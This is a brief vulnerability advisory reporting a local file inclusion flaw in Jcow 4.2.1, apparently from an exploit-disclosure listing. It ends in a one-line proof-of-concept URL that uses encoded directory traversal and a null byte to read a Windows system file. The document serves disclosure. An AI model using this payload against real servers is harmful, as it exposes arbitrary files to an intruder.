Jcow 4.2.1 LFI Vulnerability

------------------------------------------------------------------------ Software................Jcow 4.2.1 Vulnerability...........Local File Inclusion Threat Level............Critical (4/5) Download................http://www.jcow.net/ Discovery Date..........5/12/2011 Tested On...............Windows Vista + XAMPP ------------------------------------------------------------------------ Author..................AutoSec Tools Site....................http://www.autosectools.com/ Email...................John Leitch <john@autosectools.com> ------------------------------------------------------------------------ --Description-- A local file inclusion vulnerability in Jcow 4.2.1 can be exploited to include arbitrary files. --PoC-- http://localhost/jcow/index.php?p=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini%00